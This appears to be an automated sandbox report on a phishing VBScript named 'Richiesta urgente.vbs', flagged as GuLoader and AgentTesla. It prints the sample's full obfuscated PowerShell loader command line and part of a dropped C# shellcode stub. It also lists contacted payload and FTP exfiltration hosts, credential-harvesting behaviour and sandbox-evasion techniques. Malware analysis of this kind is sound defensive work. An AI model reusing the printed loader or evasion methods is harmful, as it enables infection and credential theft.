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Windows Analysis Report 
Richiesta urgente.vbs

Overview

General Information
Sample 
Name:

Richiesta urgente.vbs

Analysis ID: 755115

MD5: de0edf01710a38…

SHA1: 6791a70cf79c41…

SHA256: 20796159ce1191…

Tags: vbs

Infos:

Detection

AgentTesla,
GuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Malicious sample detected (through…

Yara detected AgentTesla

Sigma detected: Dot net compiler co…

VBScript performs obfuscated calls…

Multi AV Scanner detection for dom…

Yara detected GuLoader

Tries to steal Mail credentials (via fi…

Tries to harvest and steal Putty / W…

Tries to detect Any.run

Wscript starts Powershell (via cmd …

Potential malicious VBS script foun…

Tries to harvest and steal ftp login c…

Tries to detect sandboxes and other…

Very long command line found

Found evasive API chain (trying to d…

Potential evasive VBS script found …

Obfuscated command line found

Queries sensitive network adapter in…

Tries to harvest and steal browser in…

Queries sensitive BIOS Information…

Queries the volume information (nam…

Yara signature match

Very long cmdline option found, this…

May sleep (evasive loops) to hinder…

Uses code obfuscation techniques (…

Detected potential crypto function

Sample execution stops while proce…

Yara detected Credential Stealer

Contains functionality to call native …

Found dropped PE file which has no…

IP address seen in connection with …

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Found a high number of Window / U…

Java / VBScript file with very long s…

Drops PE files

Uses a known web browser user age…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

wscript.exe (PID: 4088 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Richiesta urgente.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
cmd.exe (PID: 1004 cmdline: CMD.EXE /c echo C:\Windows MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
powershell.exe (PID: 5840 cmdline: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Skolegaardene = """ReABedSadDi-FiTGeySjpSyeAn De-

ChTHeyTepAneLaDReeOpfPriNonMiiPrtSainooScnKa Da'KouRisFoiUdnMygSy SySImyInsOftTreTumok;SuuStsNyiSunBigDr TrSMiyAssDatDeePrmTi.DoRMiuManSotCo
iGamDueBi.BoIAnnSotPheOprInoUdpTeSDeeOmrgovStiKncTreDesFo;oppSiuPabFolVaiAfcGl ElsShtFiaBatHviCocOt dacUnlRyaDzsSpsOr SiRChePraUdbStrGiiSidA
dgPaeNodAt1Ch In{Cr[FjDDrlAdlSqIHemTapKooBerVatDe(Ne`"""SowOwiHanSamBlmBa.DedSalBalIn`"""Bi)Sg]KopPeuAsbFolUniHocMy PrsGrtUnaSetIniStcSi HaeNexSktBreP
orFenGe uniUnnArtMa HomCaiMbdSaiSuOTjuLgtNoOZipFoeJrnXs(SmiOrnButbr PokPrvAbaTalMoiBe,TiiganSatth brKAtovinTe,ZaiLunDitAd KoRRuiOvnPegSaeAtdTh,RriBanT
rtDe SpUOunPywFooHe,HoiKnnGetHa koUWidGreRe)Co;as[MuDTulAllReIThmNopBloBrrFitNe(Ud`"""SekUneserObnOmeBilHl3Up2Te`"""He)av]RipAruFubOclFiiCucMa
AssEmtSaaDrtApiFrcTu RaeStxDitKieVerMenPr JiiFanOvtLo ArLMooPecviaAulprSUnhCarPoihunSvkde(OuiUnnHitSt ResDycPuoUnrTupGriBr,WhiVenDotSt StNSasFikOve
MatImnUp)Eu;Fg[GuDHylAnlFuIPemAfpLeoWirMutRa(Kh`"""VekBieEmrAdnPueanlNl3Ek2bl`"""Sp)Pe]RepGeuRebPrlReiRacSt desBetTaaMatFiiFocOm SheFaxPitDieUnrTanko 
BliSunKatKe ScSAreCatAnCUdoMomBomSiSDitCaazatAmeRe(UniSmnExtSe CoKCuoBefAltSmaAf,NaiAfnLatSu scSLatKaoHorHorTryBu)sk;Kr[LiDstlImlcuIHomEkpTa
oRkrBrtSh(Pu`"""PskFeeSkrAnnOpeunlBi3Sp2ut`"""Va)Gr]GopOruPabOvlUpiShcSu VesBetLaaIstPtiSncEn PueBuxAgtCoeunrCanUe AliMonvetCe TrHLeeSaaSlpJaCDyrSieDi
aAftTieDr(IliGrnUdtEn ScNDoeDocWirHioSapBe,BiiVonSitDo GaFSelafsFnkPr,IniInnAntOs moGSirSpuFipLe)Al;Sy[brDUplAblSeIPomSupTeoBarbltGl(Af`"""PrkCoeXerBa
nFleAflsy3Br2Ma`"""un)Tr]HepNauNobColUliRecUd SrsDetThaRotKuiIscPh GreBexFrtGeeSprMinVi CiiFinwotDe StVFaipsrZotThuMiaOplStAArlUnlAgoGrcbo(DaiSanSytAf
EqvEp1Sy,hoiDenOxtSt UnvMe2Be,TriKonKotro SkvFl3wi,FoiMonGatFi StvMi4Ch)Be;Tu[PaDAtlBglOpIKomPhpLaoBarSptWa(Ma`"""ThiJamRemDe3Ba2Vi.HedSolSalBa`"""Fe
)Br]SepLuuEnbAflDeiHocSk LusHytViaantKoiPocZr NoeDrxUrtCleFardonBl HeiBanBrtXe hvIBlmRhmAgSkreDetEvSMatFiaRatUduAnsDuWAniRunKedDioOpwTrPBroA
nsPu(CoiUnnDitBa NePPoaSklSkaEn,ChiRenXetAl skRPyaInzNe)Me;Bi[VaDRelRhlAnIsemifpOuochrFrtDe(Ti`"""omAHyDwiVreAfaPGrIPh3Sn2Mi.SpDNiLPlLVu`"""Ep)Un]VepC
luSsbGelReiAfcFl drsLgtMiaErtPaiOpcna SheSixCytOpeGerBenSu UniStnTitAk BaISnnTriSotMaiScaGrlPaiejzCoeAnAKactalBe(PoiPunHntRu TeCTioAclBa,AaiSynMetMi L
eUPinDeaPr,AfiMenRetAs FaFMelFroTepOrpOl2na0Ma1Sn)Mi;In[DeDSalPalslIChmNopEroPhrEutSc(Pa`"""EngSvdTaiOl3Re2so`"""Ud)Qu]FipHyuSkbAdlMaiGucGi OcsUdtlaaM
otReiFrcSk IjeWixAxtqueUnrHanBo GeiCinMatSa HuSSeeRatBeWEdiLinBldEnoMewFuEPexNotBrEStxPl(SliSanNvtGe biDDauDacFl,buiTynCetTo UdHToeLanHubHul
Dy,AniBenOutTi MoSKuiBrdRaecotCaaFo,IsiTinThtUb AfAUlpFrpIsaTosIs)Pa;Uf[AuDTilCalAfIScmBapOmoIkrHetOm(Un`"""MygPrdAliPa3An2Tr`"""Un)Th]RopjouCebMalFliBlcBl
AgsLrtPyaBetHjiCocUl TaeVoxFotAfeNorAlnBy CoiAunIttHa NaUTrnNorIgeGeakelNoiVazAneStOSjbEnjSieOpcFrtUn(LeiHjnUntKi RvHNooBiwBeeFraManhe)Su;Sp[CaD
DilUdlPlIBemFrpNooEgrDitDe(Ce`"""couDesAgeNurSu3Ke2Ma`"""Fo)fl]DepdiuCibStlOuiSecBi ScsHytBjalitFliDrcBl ToeCoxBytFoeGarRenPo SeitunMetDa UnGMoeprtHaK
FoefoyNeSBotMuaGrtFeeSk(BaiVinSttNo SkFFooUnrGe)Di;lo[ByDPelTulMiIMimKapCooInrPutxe(Un`"""RegCydWoiDo3Me2Us`"""St)Be]KopMauHybBolEdiLvcRe SksDatFlaTit
daiChcDr EneMexFetTaeTorWenKl BriErnThtRe LaPAloPelGiySoTBueCrxSetDiOInuBetKo(VeiNanEmtRe UfFFoeSpeSidInsSttSt,YoiPanBltLe ElFOblSpoUrrKieFu,NeiEtnEltPs
TrLRaiBemAn)Be;Br[UbDArlMylStIismStpAcoHerLytHe(vl`"""SuuUnsPreAfrhj3Kr2Pr`"""Un)Un]IspPauSrbPalSmicocma FrsretBoaSttBeiancPr OweBoxKotFaeUrrSnnSu 
FriStnUntma AnESaxUrcTrlliuPrdBrePsUBepTodDoaUntArePoRAugMonBy(DeiKlnHatVa PaUMunAbdPr1Ba3Ti7Le,UniSknAntSk UnKSonUniUnrPo)Ni;Sk[MiDaslEklSt
IUnmRkptroCarUntEl(Kr`"""TikCueDyrVanBreIdlUn3Bo2Di`"""po)Su]IdpenudrbTmlOpiGrcfl MesMatKhaDotDiiSycAs LaeOvxRetUreGrrUsnst OuivinPetBe KoSAreXatFrCMi
oAinFlsLooUnlOpeTeMOdoLodGoecr(sciMunsutCh LvCYdrKoaChvVeaUntTa,iniApnlstNs RuSGovgrmKumKr)Th;Pa[ElDDilStlviISamTepKooAfrFotMa(la`"""SikAeeDdrafnToeSn
lCa3Ob2Ag`"""St)he]TepInuStbFolPeiPrcan PosphtSyaudtSoiDecBl OueSaxNotNoeBerLanPo TeIVanSatRePPrtLarBl LaEArnSyuTrmnoSReyDesSktRaeKlmBlLPaoTecImaUtlAn
eDisPeWMe(KauLyiDenOvttn CrvAc1Cu,SjilonAmtOy SavKa2St)Ti;Be}Ti'De;br`$PrRReeSkaEmbRerPhiSvdKogKueUrdYo3Ts=Ba[FyRtieMaaNobSmrHoiLidUdgBieRed
dr1Id]Co:Af:GlVBriExrMetFouInaImlReAGrllalAkoKocDi(Un0Ud,No1In0Pa4Ef8at5Ca7Ta6ul,Ch1ud2Ha2Ha8Ud8Be,Bo6Ve4Sy)do;Sc`$FeHPaeDraFjdStbEiaOmnaldFosCr=Tv(Kv
GRoeSjtTu-siIKrtAbeApmSaPParEkoLypsoeChrUdtHeySt Fl-ToPgraPotSnhBi Ge'UnHToKDaCSaUAf:Al\FlAApnCotTaaPrrRi\OvHmiaSlnBadBrlGniKonUdgPrsGo'un)Mi.TiDHjeor
tOseWokGrtBreAlrCaiPinFygFoeGurEsnAdeKksLo;Un`$BoTRewReihenReeTh Kr=Ls Ov[MeSVeyOpsVetAzeMymAu.OmCThoAgnPivSwelarTotEl]Ne:Vg:ReFserMeoismInB
EraTrsDeeAb6Po4SpSRetacrLeiinnDegPa(Ra`$ClHBeeVoaBodUnbBeaPonBedDisLo)Le;Ti[UnSTryOfsPatCleShmRe.SeRReuMinSttFoiAemCueEl.TrITunBhtEveErrProK
opTrSNyeRergevLeiPhcKrePhsEd.seMSuaFirunsPrhAaaDelSo]Ej:Pr:WrCReoHypDeyGr(Ho`$AgTRewFoidinTaeSt,Fo Ca0Sc,Wi Th Ca`$EkRCyePoaQubdirPsividOpgR
aeDadOs3do,Ku Ga`$MiTMawUniefnBreFo.TrcRvoFiuRanbytSp)Su;Pa[afRFoeJuaRebChrUniPldmngIneSedCo1lo]Tu:Af:NyEIcnBluRemGuSOsyCesPrtDieDimItLProBi
cToaDalSaeHasTrWDe(Fi`$SoRIneFoaGabEjrKeiPodRegSieTodSa3lu,Is Eg0fe)pi#Vo;""";Function Reabridged4 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){
$Regionplanarbejderne = $Regionplanarbejderne + $HS.Substring($i, 1); } $Regionplanarbejderne;}$Enterprise0 = Reabridged4 'GrITyEDoXLy ';$Enterprise1= Reabridged4 $S
kolegaardene;&$Enterprise0 $Enterprise1;; MD5: DBA3E6449E97D4E3DF64527EF7012A10)

Process Tree
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conhost.exe (PID: 1092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
csc.exe (PID: 4416 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.c

mdline MD5: 350C52F71BDED7B99668585C15D70EEA)
cvtres.exe (PID: 1076 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\A

ppData\Local\Temp\RESA66C.tmp" "c:\Users\user\AppData\Local\Temp\2vgl23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP" MD5:
C09985AE74F0882F208D75DE27770DFA)
CasPol.exe (PID: 6072 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 827875A7EE6003FC7F5301C613A2BB1C)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

Richiesta urgente.vbs WScript_Shell_Po
werShell_Combo

Detects malware 
from Middle 
Eastern campaign 
reported by Talos

Florian Roth 0xa34:$s1: .CreateObject("WScript.Shell")
0x3f562:$p1: powershell.exe
0x4c69c:$p1: powershell.exe

Source Rule Description Author Strings

0000000A.00000002.835470599.000000001DB51000.00000
004.00000800.00020000.00000000.sdmp

JoeSecurity_Agent
Tesla_1

Yara detected 
AgentTesla

Joe Security

0000000A.00000002.835470599.000000001DB51000.00000
004.00000800.00020000.00000000.sdmp

JoeSecurity_Crede
ntialStealer

Yara detected 
Credential Stealer

Joe Security

00000003.00000002.759722470.0000000006CF0000.00000
040.00001000.00020000.00000000.sdmp

JoeSecurity_GuLo
ader_2

Yara detected 
GuLoader

Joe Security

0000000A.00000000.627203109.0000000001350000.00000
040.00000400.00020000.00000000.sdmp

JoeSecurity_GuLo
ader_2

Yara detected 
GuLoader

Joe Security

Process Memory Space: powershell.exe PID: 5840 INDICATOR_SUS
PICIOUS_PWSH_
B64Encoded_Con
catenated_FileEX
EC

Detects 
PowerShell scripts 
containing patterns 
of base64 encoded 
files, 
concatenation and 
execution

ditekSHen 0x15ed6:$b2: ::FromBase64String(
0x5e98a:$b2: ::FromBase64String(
0x17beb2:$b2: ::FromBase64String(
0x268a5:$s1: -join
0x27005:$s1: -join
0xb3272:$s1: -join
0xc0347:$s1: -join
0xc3719:$s1: -join
0xc3dcb:$s1: -join
0xc58bc:$s1: -join
0xc7ac2:$s1: -join
0xc82e9:$s1: -join
0xc8b59:$s1: -join
0xc9294:$s1: -join
0xc92c6:$s1: -join
0xc930e:$s1: -join
0xc932d:$s1: -join
0xc9b7d:$s1: -join
0xc9cf9:$s1: -join
0xc9d71:$s1: -join
0xc9e04:$s1: -join

Click to see the 2 entries

Source Rule Description Author Strings

amsi64_4088.amsi.csv WScript_Shell_Po
werShell_Combo

Detects malware 
from Middle 
Eastern campaign 
reported by Talos

Florian Roth 0x1a:$s1: .CreateObject("WScript.Shell")
0x72:$s1: .CreateObject("WScript.Shell")
0x1d9:$p1: powershell.exe

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

Copyright Joe Security LLC 2022 Page 5 of 30



AV Detection

System Summary

Data Obfuscation

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Data Obfuscation

⊘ No Snort rule has matched

Sigma detected: Dot net compiler compiles file from suspicious location

Snort Signatures

Joe Sandbox Signatures

Multi AV Scanner detection for domain / URL

Malicious sample detected (through community Yara rule)

Wscript starts Powershell (via cmd or directly)

Potential malicious VBS script found (suspicious strings)

Very long command line found

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Obfuscated command line found

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Potential evasive VBS script found (use of timer() function in loop)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Yara detected AgentTesla

Copyright Joe Security LLC 2022 Page 6 of 30
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Behavior Graph
ID: 755115

Sample: Richiesta urgente.vbs

Startdate: 28/11/2022
Architecture: WINDOWS
Score: 100

Multi AV Scanner detection
for domain / URL

Malicious sample detected
(through community Yara

rule)
Yara detected GuLoader 5 other signatures

wscript.exe

1 1

        started       

VBScript performs obfuscated
calls to suspicious

functions
Wscript starts Powershell

(via cmd or directly)
Obfuscated command line

found
Very long command line

found

powershell.exe

23

        started       

cmd.exe

1

        started       

C:\Users\user\AppData\...\2vgl23kr.cmdline, Unicode

dropped

Tries to detect Any.run

CasPol.exe

15 11

        started       

csc.exe

3

        started       

conhost.exe

        started       

conhost.exe

        started       

qwedft.gq

162.240.62.179, 49709, 80
UNIFIEDLAYER-AS-1US

United States

ftp.mcmprint.net

185.31.121.136, 21, 49711
RAX-ASBG

Bulgaria

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file
/ registry access)

5 other signatures

C:\Users\user\AppData\Local\...\2vgl23kr.dll, PE32

dropped

cvtres.exe

1

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

ftp.mcmprint.net 10% Virustotal Browse

Source Detection Scanner Label Link

crl.m 0% URL Reputation safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

https://go.micro 0% URL Reputation safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/url/6cf4a60f7520795c97e30fddd63ac2756d9a494729a2484853f0b2ae506fadf6/detection/u-6cf4a60f7520795c97e30fddd63ac2756d9a494729a2484853f0b2ae506fadf6-1669417648


https://contoso.com/ 0% URL Reputation safe

https://contoso.com/License 0% URL Reputation safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.ziphttps://www

0% URL Reputation safe

DynDns.comDynDNSnamejidpasswordPsi/Psi 0% URL Reputation safe

https://contoso.com/Icon 0% URL Reputation safe

crl.micr 0% URL Reputation safe

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

qwedft.gq/nnslx/arPdDEHecKTUsOQSyN133.asi 0% Avira URL Cloud safe

3LpbHlMRrrHdHc2KU.net 0% Avira URL Cloud safe

qwedft.gq/nnslx/arPdDEHecKTUsOQSyN133.asi 0% Virustotal Browse

ftp://ftp.mcmprint.netnoffice 0% Avira URL Cloud safe

OowQOv.com 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

qwedft.gq 162.240.62.179 true false unknown

ftp.mcmprint.net 185.31.121.136 true false 10%, Virustotal, Browse unknown

Name Malicious Antivirus Detection Reputation

qwedft.gq/nnslx/arPdDEHecKTUsOQSyN133.asi false 0%, Virustotal, Browse
Avira URL Cloud: safe

unknown

Name Source Malicious Antivirus Detection Reputation

127.0.0.1:HTTP/1.1 CasPol.exe, 0000000A.00000002.835470599.
000000001DB51000.00000004.00000800.00020
000.00000000.sdmp

false Avira URL Cloud: safe low

nuget.org/NuGet.exe powershell.exe, 00000003.00000002.755141
818.00000000057BF000.00000004.00000800.0
0020000.00000000.sdmp

false high

crl.m powershell.exe, 00000003.00000003.515219
304.0000000007748000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

3LpbHlMRrrHdHc2KU.net CasPol.exe, 0000000A.00000002.836359577.
000000001DBDA000.00000004.00000800.00020
000.00000000.sdmp, CasPol.exe, 0000000A.
00000002.835470599.000000001DB51000.0000
0004.00000800.00020000.00000000.sdmp, Ca
sPol.exe, 0000000A.00000002.836857074.00
0000001DC27000.00000004.00000800.0002000
0.00000000.sdmp, CasPol.exe, 0000000A.00
000003.734109094.0000000001621000.000000
04.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

pesterbdd.com/images/Pester.png powershell.exe, 00000003.00000002.732273
306.000000000489F000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

www.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000003.00000002.732273
306.000000000489F000.00000004.00000800.0
0020000.00000000.sdmp

false high

https://go.micro powershell.exe, 00000003.00000002.751015
129.0000000004FA0000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

ftp://ftp.mcmprint.netnoffice CasPol.exe, 0000000A.00000002.835470599.
000000001DB51000.00000004.00000800.00020
000.00000000.sdmp

true Avira URL Cloud: safe unknown

https://contoso.com/ powershell.exe, 00000003.00000002.755141
818.00000000057BF000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

https://nuget.org/nuget.exe powershell.exe, 00000003.00000002.755141
818.00000000057BF000.00000004.00000800.0
0020000.00000000.sdmp

false high

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.virustotal.com/gui/url/91b53bfc1e3ad7655618abb07a87ddd66c3253933601059285b5e8a42f95c9fd/detection/u-91b53bfc1e3ad7655618abb07a87ddd66c3253933601059285b5e8a42f95c9fd-1669630423
https://www.virustotal.com/gui/url/6cf4a60f7520795c97e30fddd63ac2756d9a494729a2484853f0b2ae506fadf6/detection/u-6cf4a60f7520795c97e30fddd63ac2756d9a494729a2484853f0b2ae506fadf6-1669417648
https://www.virustotal.com/gui/url/91b53bfc1e3ad7655618abb07a87ddd66c3253933601059285b5e8a42f95c9fd/detection/u-91b53bfc1e3ad7655618abb07a87ddd66c3253933601059285b5e8a42f95c9fd-1669630423


https://contoso.com/License powershell.exe, 00000003.00000002.755141
818.00000000057BF000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

https://www.theonionrouter.com/dist.torproject.org/torbr
owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

CasPol.exe, 0000000A.00000002.835470599.
000000001DB51000.00000004.00000800.00020
000.00000000.sdmp

false URL Reputation: safe unknown

DynDns.comDynDNSnamejidpasswordPsi/Psi CasPol.exe, 0000000A.00000002.835470599.
000000001DB51000.00000004.00000800.00020
000.00000000.sdmp

false URL Reputation: safe unknown

https://contoso.com/Icon powershell.exe, 00000003.00000002.755141
818.00000000057BF000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

OowQOv.com CasPol.exe, 0000000A.00000002.835470599.
000000001DB51000.00000004.00000800.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.micr powershell.exe, 00000003.00000003.515219
304.0000000007748000.00000004.00000800.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

powershell.exe, 00000003.00000002.727863
466.0000000004761000.00000004.00000800.0
0020000.00000000.sdmp

false high

https://github.com/Pester/Pester powershell.exe, 00000003.00000002.732273
306.000000000489F000.00000004.00000800.0
0020000.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

162.240.62.179 qwedft.gq United States 46606 UNIFIEDLAYER-AS-1US false

185.31.121.136 ftp.mcmprint.net Bulgaria 199364 RAX-ASBG false

Joe Sandbox Version: 36.0.0 Rainbow Opal

Analysis ID: 755115

Start date and time: 2022-11-28 11:04:10 +01:00

Joe Sandbox Product: CloudBasic

World Map of Contacted IPs

Public IPs

General Information
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Overall analysis duration: 0h 10m 36s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Richiesta urgente.vbs

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

12

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.expl.evad.winVBS@13/10@2/2

EGA Information: Successful, ratio: 50%

HDC Information: Failed

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .vbs
Override analysis time to 240s for JS/VBS files not yet terminated

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): client.wns.windows.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com
Execution Graph export aborted for target powershell.exe, PID 5840 because it is empty
Not all processes where analyzed, report is missing behavior  information
Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.

Time Type Description

11:06:40 API Interceptor 39x Sleep call for process: powershell.exe modified

11:08:20 API Interceptor 396x Sleep call for process: CasPol.exe modified

⊘ No context

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs
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⊘ No context

⊘ No context

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: modified

Size (bytes): 8003

Entropy (8bit): 4.839308921501875

Encrypted: false

SSDEEP: 192:yxoe5oVsm5emdVVFn3eGOVpN6K3bkkjo59gkjDt4iWN3yBGHh9smidcU6CXpOTik:DBVoGIpN6KQkj2Wkjh4iUx0mib4J

MD5: 937C6E940577634844311E349BD4614D

SHA1: 379440E933201CD3E6E6BF9B0E61B7663693195F

SHA-256: 30DC628AB2979D2CF0D281E998077E5721C68B9BBA61610039E11FDC438B993C

SHA-512: 6B37FE533991631C8290A0E9CC0B4F11A79828616BEF0233B4C57EC7C9DCBFC274FB7E50FC920C4312C93E74CE621B6779F10E4016E9FD794961696074BDFBFA

Malicious: false

Preview: PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo......
..fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-
DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Scri
pt........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule....
....Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*..
.....Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: Unicode text, UTF-8 (with BOM) text, with very long lines (1303), with no line terminators

Category: dropped

Size (bytes): 1306

Entropy (8bit): 4.96457254634036

Encrypted: false

SSDEEP: 24:JVSVlyvpuyG8wEyQhnPd3ywbfSoGGPc+c6haG+fgnH:JVOlu4ywE3hPd39+oGGPc+c6haG+onH

MD5: 63200708319CC8C999DE12FF4CD3FA3E

SHA1: 36DDB69CCD4FF5D22013234C44EACD3EE4D04C78

SHA-256: 4D4CE4254F2AB3D55A232F63A523A46D9835F094A2D0211E748CA449688D03EA

SHA-512: A9F1350B335519CD01449B25B2FF4E0C62D746EA221BD6939522468772A4FBA88CAA2667088C19C376A6B1969FE4576C37A356A97CAFF30EE889BB039733E4EB

Malicious: false

Preview: .using System;using System.Runtime.InteropServices;public static class Reabridged1 {[DllImport("winmm.dll")]public static extern int midiOutOpen(int kvali,int Kon,int Rin
ged,int Unwo,int Ude);[DllImport("kernel32")]public static extern int LocalShrink(int scorpi,int Nsketn);[DllImport("kernel32")]public static extern int SetCommState(int 
Kofta,int Storry);[DllImport("kernel32")]public static extern int HeapCreate(int Necrop,int Flsk,int Grup);[DllImport("kernel32")]public static extern int VirtualAlloc(int v1,int v
2,int v3,int v4);[DllImport("imm32.dll")]public static extern int ImmSetStatusWindowPos(int Pala,int Raz);[DllImport("ADVAPI32.DLL")]public static extern int InitializeAcl(int 
Col,int Una,int Flopp201);[DllImport("gdi32")]public static extern int SetWindowExtEx(int Duc,int Henbl,int Sideta,int Appas);[DllImport("gdi32")]public static extern int Unr
ealizeObject(int Howean);[DllImport("user32")]public static extern int GetKeyState(int For);[DllImport("gdi32")]public static ex

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators

Category: dropped

Size (bytes): 371

Entropy (8bit): 5.2724394416051705

Encrypted: false

SSDEEP: 6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fuT2Gzxs7+AEszI923fuT2hxn:p37Lvkmb6Kz2T2GWZE22T2b

MD5: D6A1C20A450BBBE5A57366705B164C64

SHA1: B6B4FBA84E9EA8BE6ACBCF8B0C31B0CF80828165

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.0.cs

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.cmdline
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SHA-256: 631A7CB72C20067D016139BA01FFFEA4F5A28C0DD5EDB5C805275183B8BE39D9

SHA-512: EF2A70EAE2AC62B008EC585149DAB2B850FE5667B0265F065F5002B736CEA1479D68EEC6AD56219385C219A80B5BDB0DE2996B742725822C235E83DC9CF250C
6

Malicious: true

